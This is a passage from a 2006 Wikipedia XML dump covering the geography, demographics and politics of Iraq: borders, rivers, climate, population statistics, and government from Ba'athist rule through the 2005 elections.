Through Algerian mediation, Iran and Iraq agreed in March 1975 to normalize their relations, and three months later they signed a treaty known as the Algiers Accord. The document defined the common border all along the Shatt estuary as the thalweg. To compensate Iraq for the loss of what formerly had been regarded as its territory, pockets of territory along the mountain border in the central sector of its common boundary with Iran were assigned to it. Nonetheless, in September 1980 Iraq went to war with Iran, citing among other complaints the fact that Iran had not turned over to it the land specified in the Algiers Accord. This problem has subsequently proved to be a stumbling block to a negotiated settlement of the ongoing conflict.

In 1988 the boundary with Kuwait was another outstanding problem. It was fixed in a 1913 treaty between the Ottoman Empire and British officials acting on behalf of Kuwait's ruling family, which in 1899 had ceded control over foreign affairs to Britain. The boundary was accepted by Iraq when it became independent in 1932, but in the 1960s and again in the mid-1970s, the Iraqi government advanced a claim to parts of Kuwait. Kuwait made several representations to the Iraqis during the war to fix the border once and for all but Baghdad has repeatedly demurred, claiming that the issue is a potentially divisive one that could enflame nationalist sentiment inside Iraq. Hence in 1988 it was likely that a solution would have to wait until the war ended.

In 1922 British officials concluded the Treaty of Mohammara with Abd al Aziz ibn Abd ar Rahman Al Saud, who in 1932 formed the Kingdom of Saudi Arabia. The treaty provided the basic agreement for the boundary between the eventually independent nations. Also in 1922 the two parties agreed to the creation of the diamond-shaped Neutral Zone of approximately 7,500 [[square kilometer]]s (2,900&amp;nbsp;[[square miles|mi²]]) adjacent to the western tip of Kuwait in which neither Iraq nor Saudi Arabia would build permanent dwellings or installations. Beduins from either country could utilize the limited water and seasonal grazing resources of the zone. In April 1975, an agreement signed in Baghdad fixed the borders of the countries.

==Major geographical features==
[[Image:Iraq_2004_CIA_map.jpg|thumb|right|300px|Detailed map of Iraq]]
[[Image:Iraq.A2003060.0750.500m.jpg|thumb|right|300px|Iraq, March 2003]]
Most geographers, including those of the Iraqi government, discuss the country's geography in terms of four main zones or regions: the desert in the west and southwest; the rolling upland between the upper Tigris and Euphrates rivers (in Arabic the Dijlis and Furat, respectively); the highlands in the north and northeast; and the alluvial plain through which the Tigris and Euphrates flow. Iraq's official statistical reports give the total land area as 438,446 square kilometers (169,285&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]), whereas a United States Department of State publication gives the area as 434,934 square kilometers (167,929&amp;nbsp;sq.&amp;nbsp;mi).

The desert zone, an area lying west and southwest of the Euphrates River, is a part of the Syrian Desert, which covers sections of Syria, Jordan, and Saudi Arabia. The region, sparsely inhabited by pastoral nomads, consists of a wide, stony plain interspersed with rare sandy stretches. A widely ramified pattern of wadis--watercourses that are dry most of the year--runs from the border to the Euphrates. Some Wadis are over 400 kilometers (250&amp;nbsp;[[mile|mi]]) long and carry brief but torrential floods during the winter rains.

The uplands region, between the Tigris north of Samarra and the Euphrates north of Hit, is known as Al Jazirah (the island) and is part of a larger area that extends westward into Syria between the two rivers and into Turkey. Water in the area flows in deeply cut valleys, and irrigation is much more difficult than it is in the lower plain. Much of this zone may be classified as desert.

The northeastern highlands begin just south of a line drawn from Mosul to Kirkuk and extend to the borders with Turkey and Iran. High ground, separated by broad, undulating steppes, gives way to mountains ranging from 1,000 to nearly 4,000 meters (3,300&amp;nbsp;to&amp;nbsp;13,100&amp;nbsp;[[foot (unit of length)|ft]]) near the Iranian and Turkish borders. Except for a few valleys, the mountain area proper is suitable only for grazing in the foothills and steppes; adequate soil and rainfall, however, make cultivation possible. Here, too, are the great oil fields near Mosul and Kirkuk. The northeast is the homeland of most Iraqi Kurds.

The alluvial plain begins north of Baghdad and extends to the Persian Gulf. Here the Tigris and Euphrates rivers lie above the level of the plain in many places, and the whole area is a delta interlaced by the channels of the two rivers and by irrigation canals. Intermittent lakes, fed by the rivers in flood, also characterize southeastern Iraq. A fairly large area (15,000&amp;nbsp;[[square kilometer|km²]]&amp;nbsp;or&amp;nbsp;5,800&amp;nbsp;mi²) just above the confluence of the two rivers at Al Qurnah and extending east of the Tigris beyond the Iranian border is marshland, known as Hawr al Hammar, the result of centuries of flooding and inadequate drainage. Much of it is permanent marsh, but some parts dry out in early winter, and other parts become marshland only in years of great flood.

Because the waters of the Tigris and Euphrates above their confluence are heavily silt laden, irrigation and fairly frequent flooding deposit large quantities of silty loam in much of the delta area. Windborne silt contributes to the total deposit of sediments. It has been estimated that the delta plains are built up at the rate of nearly twenty centimeters in a century. In some areas, major floods lead to the deposit in temporary lakes of as much as thirty centimeters of mud.

The Tigris and Euphrates also carry large quantities of salts. These, too, are spread on the land by sometimes excessive irrigation and flooding. A high water table and poor surface and subsurface drainage tend to concentrate the salts near the surface of the soil. In general, the salinity of the soil increases from Baghdad south to the Persian Gulf and severely limits productivity in the region south of Al Amarah. The salinity is reflected in the large lake in central Iraq, southwest of Baghdad, known as Bahr al Milh (Sea of Salt). There are two other major lakes in the country to the north of Bahr al Milh: Buhayrat ath Tharthar and Buhayrat al Habbaniyah.

The Euphrates originates in Turkey, is augmented by the Nahr (river) al Khabur in Syria, and enters Iraq in the northwest. Here it is fed only by the wadis of the western desert during the winter rains. It then winds through a gorge, which varies from two to sixteen kilometers in width, until it flows out on the plain at Ar Ramadi. Beyond there the Euphrates continues to the Hindiyah Barrage, which was constructed in 1914 to divert the river into the Hindiyah Channel; the present day Shatt al Hillah had been the main channel of the Euphrates before 1914. Below Al Kifl, the river follows two channels to As Samawah, where it reappears as a single channel to join the Tigris at Al Qurnah.

The Tigris also rises in Turkey but is significantly augmented by several rivers in Iraq, the most important of which are the Khabur, the Great Zab, the Little Zab, and the Uzaym, all of which join the Tigris above Baghdad, and the Diyala, which joins it about thirty-six kilometers below the city. At the Kut Barrage much of the water is diverted into the Shatt al Gharraf, which was once the main channel of the Tigris. Water from the Tigris thus enters the Euphrates through the Shatt al Gharraf well above the confluence of the two main channels at Al Qurnah.

Both the Tigris and the Euphrates break into a number of channels in the marshland area, and the flow of the rivers is substantially reduced by the time they come together at Al Qurnah. Moreover, the swamps act as silt traps, and the Shatt al Arab is relatively silt free as it flows south. Below Basra, however, the Karun River enters the Shatt al Arab from Iran, carrying large quantities of silt that present a continuous dredging problem in maintaining a channel for ocean-going vessels to reach the port at Basra. This problem had been superseded by a greater obstacle to river traffic, however, namely the presence of several sunken hulks that had been rusting in the Shatt al Arab since early in the war.

The waters of the Tigris and Euphrates are essential to the life of the country, but they may also threaten it. The rivers are at their lowest level in September and October and at flood in March, April, and May when they may carry forty times as much water as at low mark. Moreover, one season's flood may be ten or more times as great as that in another year. In 1954, for example, Baghdad was seriously threatened, and dikes protecting it were nearly topped by the flooding Tigris. Since Syria built a dam on the Euphrates, the flow of water has been considerably diminished and flooding was no longer a problem in the mid-1980s. In 1988 Turkey was also constructing a dam on the Euphrates that would further restrict the water flow.

Until the mid-twentieth century, most efforts to control the waters were primarily concerned with irrigation. Some attention was given to problems of flood control and drainage before the revolution of July 14, 1958, but development plans in the 1960s and 1970s were increasingly devoted to these matters, as well as to irrigation projects on the upper reaches of the Tigris and Euphrates and the tributaries of the Tigris in the northeast. During the war, government officials stressed to foreign visitors that, with the conclusion of a peace settlement, problems of irrigation and flooding would receive top priority from the government.

==Settlement patterns==

In the rural areas of the alluvial plain and in the lower Diyala region, settlement almost invariably clusters near the rivers, streams, and irrigation canals. The bases of the relationship between watercourse and settlement have been summarized by Robert McCormick Adams, director of the Oriental Institute of the University of Chicago. He notes that the levees laid down by streams and canals provide advantages for both settlement and agriculture. Surface water drains more easily on the levees' backslope, and the coarse soils of the levees are easier to cultivate and permit better subsurface drainage. The height of the levees gives some protection against floods and the frost that often affect low-lying areas and may kill winter crops. Above all, those living or cultivating on the crest of a levee have easy access to water for irrigation and household use in a dry, hot country.

Although there are some isolated homesteads, most rural communities are nucleated settlements rather than dispersed farmsteads; that is, the farmer leaves his village to cultivate the fields outside it. The pattern holds for farming communities in the Kurdish highlands of the northeast as well as for those in the alluvial plain. The size of the settlement varies, generally with the volume of water available for household use and with the amount of land accessible to village dwellers. Sometimes, particularly in the lower Tigris and Euphrates valleys, soil salinity restricts the area of arable land and limits the size of the community dependent on it, and it also usually results in large unsettled and uncultivated stretches between the villages.

Fragmentary information suggests that most farmers in the alluvial plain tend to live in villages of over 100 persons. For example, in the mid-1970s a substantial number of the residents of Baqubah, the administrative center and major city of Diyala Governorate, were employed in agriculture.

The Marsh Arabs (the Madan) of the south usually live in small clusters of two or three houses kept above water by rushes that are constantly being replenished. Such clusters often are close together, but access from one to another is possible only by small boat. Here and there a few natural islands permit slightly larger clusters. Some of these people are primarily water buffalo herders and lead a seminomadic life. In the winter, when the waters are at a low point, they build fairly large temporary villages. In the summer they move their herds out of the marshes to the river banks.

The war has had its effect on the lives of these denizens of the marshes. With much of the fighting concentrated in their areas, they have either migrated to settled communities away from the marshes or have been forced by government decree to relocate within the marshes. Also, in early 1988, the marshes had become the refuge of deserters from the Iraqi army who attempted to maintain life in the fastness of the overgrown, desolate areas while hiding out from the authorities. These deserters in many instances have formed into large gangs that raid the marsh communities; this also has induced many of the marsh dwellers to abandon their villages.

The war has also affected settlement patterns in the northern Kurdish areas. There, the persistence of a stubborn rebellion by Kurdish guerrillas has goaded the government into applying steadily escalating violence against the local communities. Starting in 1984, the government launched a scorched-earth campaign to drive a wedge between the villagers and the guerrillas in the remote areas of two provinces of Kurdistan in which Kurdish guerrillas were active. In the process whole villages were torched and subsequently bulldozed, which resulted in the Kurds flocking into the regional centers of Irbil and As Sulaymaniyah. Also as a military precaution, the government has cleared a broad strip of territory in the Kurdish region along the Iranian border of all its inhabitants, hoping in this way to interdict the movement of Kurdish guerrillas back and forth between Iran and Iraq. The majority of Kurdish villages, however, remained intact in early 1988.

In the arid areas of Iraq to the west and south, cities and large towns are almost invariably situated on watercourses, usually on the major rivers or their larger tributaries. In the south this dependence has had its disadvantages. Until the recent development of flood control, Baghdad and other cities were subject to the threat of inundation. Moreover, the dikes needed for protection have effectively prevented the expansion of the urban areas in some directions. The growth of Baghdad, for example, was restricted by dikes on its eastern edge. The diversion of water to the Milhat ath Tharthar and the construction of a canal transferring water from the Tigris north of Baghdad to the Diyala River have permitted the irrigation of land outside the limits of the dikes and the expansion of settlement. 

==Climate==

[[Image:Dust storm over Iran, Iraq.jpg|thumb|right|300px|Dust storms in Iraq, September 2000]]

Roughly 90 percent of the annual rainfall occurs between November and April, most of it in the winter months from December through March. The remaining six months, particularly the hottest ones of June, July, and August, are dry.

Except in the north and northeast, mean annual rainfall ranges between 10 and 17 [[centimeter]]s (4&amp;ndash;6.7&amp;nbsp;[[inch|in]]). Data available from stations in the foothills and steppes south and southwest of the mountains suggest mean annual rainfall between 32 and 57 centimeters (12.6&amp;ndash;22.4&amp;nbsp;in)for that area. Rainfall in the mountains is more abundant and may reach 100 centimeters (39.4&amp;nbsp;in) a year in some places, but the terrain precludes extensive cultivation. Cultivation on nonirrigated land is limited essentially to the mountain valleys, foothills, and steppes, which have 30 centimeters (12&amp;nbsp;in) or more of rainfall annually. Even in this zone, however, only one crop a year can be grown, and shortages of rain have often led to crop failures.

Mean minimum temperatures in the winter range from near freezing (just before dawn) in the northern and northeastern foothills and the western desert to 2-3°[[Centigrade|C]] (35.6&amp;ndash;37.4°[[Fahrenheit|F]]) and 4-5°C (39-41°F) in the alluvial plains of southern Iraq. They rise to a mean maximum of about 15.5°C (60°F) in the western desert and the northeast, and 16.6°C (62°F) in the south. In the summer mean minimum temperatures range from about 22.2°C to about 29°C (72-84°F) and rise to maximums between roughly 37.7 and 43.3°C (100-110°F). Temperatures sometimes fall below freezing and have fallen as low as -14.4°C (6.0°F) at Ar Rutbah in the western desert. They are more likely, however, to go over 46°C (115°F) in the summer months, and several stations have records of over 48°C (118°F).

The summer months are marked by two kinds of wind phenomena. The southern and southeasterly sharqi, a dry, dusty wind with occasional gusts of 80 kilometers an hour (50&amp;nbsp;[[Miles per hour|mph]]), occurs from April to early June and again from late September through November. It may last for a day at the beginning and end of the season but for several days at other times. This wind is often accompanied by violent duststorms that may rise to heights of several thousand meters and close airports for brief periods. From mid-June to mid-September the prevailing wind, called the shamal, is from the north and northwest. It is a steady wind, absent only occasionally during this period. The very dry air brought by this shamal permits intensive sun heating of the land surface, but the breeze has some cooling effect.

The combination of rain shortage and extreme heat makes much of Iraq a desert. Because of very high rates of evaporation, soil and plants rapidly lose the little moisture obtained from the rain, and vegetation could not survive without extensive irrigation. Some areas, however, although arid do have natural vegetation in contrast to the desert. For example, in the Zagros Mountains in northeastern Iraq there is permanent vegetation, such as oak trees, and date palms are found in the south.

==Area and boundaries==
'''Area:'''&lt;br&gt;
''total:'' 437,072 km&amp;sup2; (168,754&amp;nbsp;sq.&amp;nbsp;mi)&lt;br/&gt;
''land:'' 432,162 km&amp;sup2; (166,859&amp;nbsp;sq.&amp;nbsp;mi)&lt;br/&gt;
''water:'' 4,910 km&amp;sup2; (1,896&amp;nbsp;sq.&amp;nbsp;mi)

'''Land boundaries:'''&lt;br/&gt;
''total:'' 3,631 km (2,256&amp;nbsp;[[mile|mi]])&lt;br/&gt;
''border countries:'' [[Iran]] 1,458 km&amp;nbsp;(906&amp;nbsp;mi), [[Jordan]]&amp;nbsp;181&amp;nbsp;km&amp;nbsp;(112&amp;nbsp;mi), [[Kuwait]]&amp;nbsp;242&amp;nbsp;km&amp;nbsp;(150&amp;nbsp;mi), [[Saudi Arabia]]&amp;nbsp;814&amp;nbsp;km&amp;nbsp;(506&amp;nbsp;mi), [[Syria]]&amp;nbsp;605&amp;nbsp;km&amp;nbsp;(376&amp;nbsp;mi), [[Turkey]]&amp;nbsp;331&amp;nbsp;km&amp;nbsp;(206&amp;nbsp;mi)

'''Coastline:''' 58 km (36 mi)

'''Maritime claims:'''&lt;br/&gt;
''continental shelf:'' not specified&lt;br/&gt;
''territorial sea:'' 12 [[nautical mile]]s (22.2 km)

'''Elevation extremes:'''&lt;br/&gt;
''lowest point:'' Persian Gulf 0 m&lt;br/&gt;
''highest point:'' [[Cheekah Dar]] 3,611&amp;nbsp;m&amp;nbsp;/&amp;nbsp;11,847&amp;nbsp;[[foot (unit of length)|ft]] (not Haji Ibrahim&amp;mdash;3,600 [[metre|m]]&amp;nbsp;/&amp;nbsp;11,811&amp;nbsp;ft)

==Resources and land use==

'''Natural resources:''' petroleum, natural gas, phosphates, sulfur

'''Land use:'''&lt;br/&gt;
''arable land:'' 12%&lt;br/&gt;
''permanent crops:'' 0%&lt;br/&gt;
''permanent pastures:'' 9%&lt;br/&gt;
''forests and woodland:'' 0%&lt;br/&gt;
''other:'' 79% (1993 est.)

'''Irrigated land:''' 25,500 km&amp;sup2; or 9,850 sq. mi (1993 est.)

==Environmental concerns==

'''Natural hazards:''' dust storms, sandstorms, floods

'''Environment - current issues:''' government water control projects have drained most of the inhabited marsh areas east of An Nasiriyah by drying up or diverting the feeder streams and rivers; a once sizable population of Shi'a Muslims, who have inhabited these areas for thousands of years, has been displaced; furthermore, the destruction of the natural habitat poses serious threats to the area's wildlife populations; inadequate supplies of potable water; development of Tigris-Euphrates Rivers system contingent upon agreements with upstream riparian Turkey; air and water pollution; soil degradation (salination) and erosion; desertification

'''Environment - international agreements:'''&lt;br/&gt;
''party to:'' Law of the Sea, Nuclear Test Ban&lt;br/&gt;
''signed, but not ratified:'' Environmental Modification

:Major ecoregions : [[Ecoregion PA1303|PA1303]]  |  [[Ecoregion PA1320|PA1320]]
:Minor ecoregions : [[Ecoregion PA0446|PA0446]] | [[Ecoregion PA1320|PA1320]] | [[Ecoregion PA0812|PA0812]] | [[Ecoregion PA1207|PA1207]] | [[Ecoregion PA1305|PA1305]] | [[Ecoregion PA1328|PA1328]] | [[Ecoregion PA0906|PA0906]] | [[Ecoregion PA1325|PA1325]] | [[Ecoregion PA1323|PA1323]]

==See also==
*[[Iraq]]
*[[List of places in Iraq]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

{{Asia in topic|Geography of}}

[[Category:Geography of Iraq| ]]
[[ar:جغرافيا العراق]]
[[es:Geografía de Iraq]]
[[pt:Geografia do Iraque]]
[[sv:Iraks geografi]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Iraq</title>
    <id>14666</id>
    <revision>
      <id>41422372</id>
      <timestamp>2006-02-27T05:24:28Z</timestamp>
      <contributor>
        <ip>71.8.210.135</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Iraq demography.jpg|thumb|200px|Distribution of Religious and Ethnic Groups in Iraq]]

Almost 75% of [[Iraq]]'s population live in the flat, alluvial plain stretching southeast toward [[Baghdad]] and [[Basra]] to the [[Persian Gulf]]. The [[Tigris River]] and  the [[Euphrates River]] carry about 70 million cubic meters of silt annually to the delta. Known in ancient times as [[Mesopotamia]], the region is the legendary locale of the [[Garden of Eden]]. The ruins of [[Ur]], [[Babylon]], and other ancient cities are here.

Iraq's two largest ethnic groups are [[Arabs]] and [[Kurds]]. Other distinct groups are [[Turkomans]], [[Syriacs]], [[Iranian peoples|Iranians]], [[Lurs]], and [[Armenians]]. [[Arabic language|Arabic]] is the most commonly spoken language. [[Kurdish language|Kurdish]] is spoken in the north, and English is the most commonly spoken Western language.

Most Iraqi [[Muslim]]s are members of the [[Shiites]] (Shi'a), but there is a large [[Sunni]] Muslim population as well, made up of both [[Arab]]s and [[Kurd]]s. Small communities of Christians, Jews, [[Bahá'í Faith|Bahá'ís]], [[Mandaeans]], and [[Yezidis]] also exist, although most [[Jews]] have fled Iraq in the last century.  Most Kurds are Sunni Muslim but differ from their Arab neighbors in language, dress, and customs. 

'''Population:'''
26,074,906 (July 2005 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
40% (male 5,293,709; female 5,130,826) 
&lt;br&gt;''15-64 years:''
57% (male 7,530,619; female 7,338,109) 
&lt;br&gt;''65 years and over:''
3% (male 367,832; female 413,811) (2005 est.)

'''Population growth rate:'''
2.7% (2005 est.)

'''Birth rate:'''
32.5 births/1,000 population (2005 est.)

'''Death rate:'''
5.49 deaths/1,000 population (2005 est.)

'''Net migration rate:'''
0 migrant(s)/1,000 population (2005 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.03 male(s)/female
&lt;br&gt;''15-64 years:''
1.03 male(s)/female
&lt;br&gt;''65 years and over:''
0.89 male(s)/female
&lt;br&gt;''total population:''
1.02 male(s)/female (2005 est.)

'''Infant mortality rate:'''
50.25 deaths/1,000 live births (2005 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
68.7 years
&lt;br&gt;''male:''
67.49 years
&lt;br&gt;''female:''
69.97 years (2005 est.)

'''Total fertility rate:'''
4.28 children born/woman (2005 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Iraqi(s)
&lt;br&gt;''adjective:''
Iraqi

'''Ethnic groups:'''
Arabs 75-80%, [[Kurdish people|Kurds]] 15%-20%, Turkoman, [[Syriacs]] or other 3%-5%

'''Religions:'''
Muslim 95% (Shi'a 66%,Sunni 29%), Christian or other 5%

'''Languages:'''
[[Arabic language|Arabic]], [[Kurdish language|Kurdish]](official in Kurdish regions), [[Aramaic language|Aramaic]], [[Armenian language|Armenian]]

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
40.4%
&lt;br&gt;''male:''
55.9%
&lt;br&gt;''female:''
24.4% (2003 est.)

'''Median Age:'''
&lt;br&gt;''Total Population:''
19.43 years
&lt;br&gt;''Male:''
19.35 years
&lt;br&gt;''Female:''
19.51 years (2005 est.)


:''See also :'' [[Iraq]], [[Arab Tribes in Iraq]], [[Kurdistan]]

==External links==
* [http://www.institutkurde.org/ Kurdish Institute] Kurdish language, history, books and latest news articles.

[[Category:Demographics by country|Iraq]]
[[Category:Geography of Iraq]]
[[Category:Iraqi society]]

[[es:Demografía de Iraq]]
[[sv:Iraks demografi]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Iraq</title>
    <id>14667</id>
    <revision>
      <id>40960688</id>
      <timestamp>2006-02-24T03:22:01Z</timestamp>
      <contributor>
        <ip>152.163.100.12</ip>
      </contributor>
      <comment>/* Ba'athist rule */</comment>
      <text xml:space="preserve">{{Politics of Iraq}}
'''Politics of Iraq''' includes the [[Social movement|social relation]]s involving [[authority]] or [[Power (sociology)|power]] in [[Iraq]]. Before the fall of [[Saddam Hussein]] in [[2003]], the [[Ba'ath Party]] officially ruled. The occupation yielded to an [[Law of Administration for the State of Iraq for the Transitional Period|interim Iraqi constitution]], which was replaced by a permanent [[constitution of Iraq|constitution]] following approval in a [[Iraqi constitution ratification vote, 2005|referendum]] held on [[October 15]], [[2005]].

The current leaders of Iraq are serving on a caretaker basis, following the [[Iraqi legislative election, December 2005|general election]] in December 2005 and pending the formation of a new [[Government of Iraq, 2006-2010|government]].

The [[Prime Minister of Iraq]] is [[Ibrahim al-Jaafari]], who holds most of the executive authority and appoints the cabinet. The current [[President of Iraq]] is [[Jalal Talabani]], who serves in a largely [[figurehead]] capacity, with few powers. The Vice-Presidents are [[Sheikh]] [[Ghazi Mashal Ajil al-Yawer]], (president under the [[Iraqi Interim Government]]) and [[Adel Abdul Mehdi]], deputy leader of [[SCIRI]], the largest party in the [[Iraqi National Assembly]].

==Ba'athist rule==
Before the fall of [[Saddam Hussein]] in [[2003]], the [[Ba'ath Party]] officially ruled [[Iraq]] through a nine-member [[Revolutionary Command Council]], which enacted legislation by decree. The RCC's president (chief of state and supreme commander of the armed forces) was elected by a two-thirds majority of the RCC. A Council of Ministers ([[closet]]), appointed by the RCC, had administrative and some legislative responsibilities. The Vice-President of Iraq was [[Taha Yassin Ramadan]].

A 250-member [[Iraqi National Assembly|National Assembly]] consisting of 220 elected by popular vote who serve a four year term, and 30 appointed by the president to represent the three northern provinces, was last elected in March 2000. Iraq is divided into 18 provinces, each headed by a governor with extensive administrative powers.

Iraq's judicial system during Saddam's rule was based on the French model introduced during [[Ottoman Empire|Ottoman]] rule and had three types of lower courts--civil, religious, and special. Special courts try broadly defined national security cases. An appellate court system and the court of cassation (court of last recourse) complete the judicial structure.

Under baathist rule, often times Iraqis were subject to death sentences such as having hand grenades placed into shirt pockets and detonated, arms summarily broken, fingers, tongues and ears cut off. Uday and Qusay Hussein took much pride in being defacto judge and jury to fancy their own develish whims, such as purposely starving lions then intorducing Iraqi detainees in to cages. Several videos are easily found on the internet that display the heinous treatment of purported criminals that break every human rights assumption.

==Occupation==
From April [[2003]] to [[June 28]], [[2004]], Iraq was under [[2003 occupation of Iraq|occupation]] following the ousting of the Ba'ath Party and President Saddam Hussein. 130,000 American soldiers as well as few thousand other troops from various countries still occupy the nation of Iraq presently. After the overthrow, a [[power vacuum]] emerged, which remains in some form till this day, with [[terrorism|terrorists]] and [[insurgent]]s attacking civilian targets and battling against coalition forces and newly-formed Iraqi institutions in some pockets, hampering the emergence of post-war stability. The occupation was led by the coalition's Civil Administrator, [[L. Paul Bremer]], until mid-2004. An [[Interim Iraq Governing Council]] was also appointed by the coalition with a monthly rotating [[interim]] presidency. The Council in turn appointed a cabinet of ministers and other officials.

==Return of sovereignty==
[[Image:IraqSovereignty.jpg|thumb|250px|U.S. National Security Advisor Condoleezza Rice gives confirmation of Iraqi sovereignty to U.S. President George W. Bush, who then wrote, &amp;#8220;Let Freedom Reign!,&amp;#8221; during the opening session of the NATO Summit in Istanbul, Turkey, on Monday, [[June 28]] [[2004]].]]

The path to full sovereignty for Iraq was a gradual one:

*On [[November 15]] [[2003]] an agreement was released spelling out Iraq's path to sovereignty.
*On [[March 8]] [[2004]] an interim [[constitution]], the [[Law of Administration for the State of Iraq for the Transitional Period]] was approved by the governing council, which further expanded on the structure established the proceeding November.
*Prior to April, 2004 U. S. government officials referring to the transition date Iraq had used the language &quot;sovereignty&quot; or &quot;full sovereignty.&quot; For example, on [[March 15]], [[2004]] U.S. Deputy Secretary of State Richard Armitage stated [http://washingtontimes.com/upi-breaking/20040315-045145-6435r.htm] that on [[June 30]], &quot;the Iraqi interim government will assume full sovereignty and the United States will open a diplomatic mission in Baghdad, the largest U.S. mission anywhere in the world.&quot;
*In April 2004, U.S. officials began to use the term ''limited sovereignty,'' notably Armitage's undersecretary Marc Grossman to a Congressional committee [http://www.washingtonpost.com/ac2/wp-dyn/A35233-2004Apr22?language=printer] on [[April 23]], [[2004]].
*On [[May 25]], [[2004]], George W. Bush used the language &quot;full sovereignty,&quot; saying that &quot;next month ... our coalition will transfer full sovereignty to a government of Iraqi citizens.&quot;
*On [[May 28]], [[2004]] George W. Bush used the language &quot;complete and full sovereignty,&quot; stating that this was his response to a query by UN special representative, [[Lakhdar Brahimi]].
*On [[June 3]], [[2004]], Brahimi publicly expressed disappointment about the transfer of power stating that &quot;Bremer is the dictator of Iraq&quot; and &quot;He has the money.  He has the signature.&quot;  He also added &quot;I will not say who was my first choice, and who was not my first choice .... I will remind you that the Americans are governing this country.&quot;  According to a person who spoke with Brahimi recently, &quot;He was very disappointed, very frustrated.  I asked him why he didn't say that publicly (and) he said, `I am the U.N. envoy to Iraq, how can I admit to failure?'&quot; [http://www.realcities.com/mld/krwashington/8821031.htm]
*On [[June 15]], [[2004]], Iraq's interim Prime Minister, [[Iyad Allawi]], said that the transfer of Saddam Hussein to Iraqi custody &quot;will take place within two weeks... you can consider this as an official confirmation.&quot; According to the ICRC, this is required by international law. On [[June 16]], [[George W. Bush]] commented on this in vague language characterized by the press as &quot;hedging,&quot; &quot;noncommittal,&quot; and &quot;refusal to set a date,&quot; stating that the transfer would ''not'' take place until the U.S. was &quot;sure that he is secure.&quot;
*On [[28 June]] [[2004]], the Coalition Provisional Authority dissolved and full governmental authority was transferred to the sovereign Iraqi Interim Government (IIG).

A few have asserted that the term &quot;return of sovereignty&quot; stems from a flawed understanding of international law: according to these individuals, sovereignty is vested in the people of Iraq, independently from the formal structure of the state. [http://www.guardian.co.uk/comment/story/0,3604,1245135,00.html]
But, this is misconstruing the intent of the phrase. The phrase usually means the return by one political agency to another political body of the exclusive rights to exercise supreme authority over a geographic region and group of people.  Regardless, Iraq was set on a direct path to full democratic elections in January &amp; December of 2005.

===Interim period===
In [[November 2003]] the coalition announced plans to turn over sovereignty to an [[Iraq interim government|interim Iraqi government]] by mid-2004.  The actual transfer of sovereignty occurred on [[June 28]] [[2004]].  The interim president was [[Sheikh]] [[Ghazi Mashal Ajil al-Yawer]], and the interim prime minister [[Iyad Allawi]].

Under the [[Law of Administration for the State of Iraq for the Transitional Period|interim Iraqi constitution]], signed March [[2004]], the country's executive branch is now led by a three-person presidential council. The election system for the council effectively ensures that all three of Iraq's major ethnic groups are represented. The constitution also includes basic freedoms like [[freedom of religion]], [[freedom of speech|speech]], and [[freedom of assembly|assembly]], and in many ways has been hailed as more liberal than the [[United States Constitution|U.S. constitution]].  Controversially, however, it states that all laws that were in effect on the transfer date cannot be repealed.  Furthermore, since the coalition forces are currently an official occupying power under the [[United Nations]], Coalition troops can remain in control of the country indefinitely despite the transfer of sovereignty.  Since Iraqi forces are currently considered ill-equipped to police and secure the country, it is expected that coalition troops will remain in the country for many years to come.

Part of the proposed system (holding regional caucuses which then elect national leaders) was rejected by [[Ayatollah]] [[Grand Ayatollah Ali al-Sistani|Ali al-Sistani]], which resulted in massive peaceful (though unsuccessful) protests against the proposed systems.  Sistani, the most senior Shiite cleric in Iraq, declared the system as too easy to manipulate to elect an U.S.-friendly government and not representative of the people.  However, the process followed closely to the [[November 15]] [[2003]] agreement established before Sistani's protests.  That agreement established the caucuses for the IIG which indeed occurred in June of 2003.  The full elections for the Constitutional Committee occurred in January 2005, 2 months before the [[15 November]] agreement established date of [[March 31]] [[2005]].

==Iraqi National Assembly Election==
On [[January 30]] [[2005]], the Iraqi people chose representatives for the newly-formed 275-member Iraqi National Assembly in legislative elections. Following the ratification of the constitution of Iraq on [[October 15]] [[2005]], a general election was called for [[15 December]] to elect a permanent 275-member Iraqi National Assembly. 

''For more information, see:'' '''[[Iraqi legislative election, January 2005]]''' and '''[[Iraqi legislative election, December 2005]]'''

==Hierarchy of future Iraqi national government==
===Executive===
* President heading the Presidency Council
** Vice President
** Vice President
* Prime Minister
** Council of Ministers

===Legislative===
* President of National Assembly
** Deputy President
** Deputy President
*** National Assembly

===Judicial===
* Higher Judicial Council
** Federal Supreme Court
*** Court of Cassation
*** Courts of Appeal
*** Central Criminal Court

==Present executive branch==
{{office-table}}
|[[President of Iraq]]
|[[Jalal Talabani]]
|[[Patriotic Union of Kurdistan|YNK]]
|[[7 April]] [[2005]]
|-
|rowspan=2|Vice-president of Iraq
|[[Ghazi Mashal Ajil al-Yawer]]
|[[The Iraqis]]
|[[6 April]] [[2005]]
|-
|[[Adel Abdul Mahdi]]
|[[SCIRI]]
|[[6 April]] [[2005]]
|-
|[[Prime Minister of Iraq]]
|[[Ibrahim al-Jaafari]]
|[[Islamic Dawa Party|Dawa]]
|[[7 April]] [[2005]]
|}
The president serves in a largely [[figurehead]] capacity, with few powers. The [[Prime Minister of Iraq]] holds most of the actual executive authority and is required to appoint a cabinet. All three were appointed in April 2005 after elections which saw political differences papered over by ethnic unity (and inter-ethnic divisions).

==Legislative branch==
The Constitution includes a bicameral legislative body: the Parliament of Iraq. The lower house is the '''House of Deputies:'''. which consists of 275 members known as 'Members of Parliament' elected nation wide in the existing National Assembly constituencies. The Speaker will be elected by the House.
The upper house is the '''Senate:'''. This would give equal representation to the ethnicities in Iraq. The members would be known as 'senators'. The Senate shall have an equal number of senators from Sunni Senatorial Districts, Kurdish Senatorial Districts and Shia Senatorial Districts. There shall be 50 senators from each division, thus a total of 150 senators. The President of the Senate will be a Vice President in the Presidency Council chosen by the President.

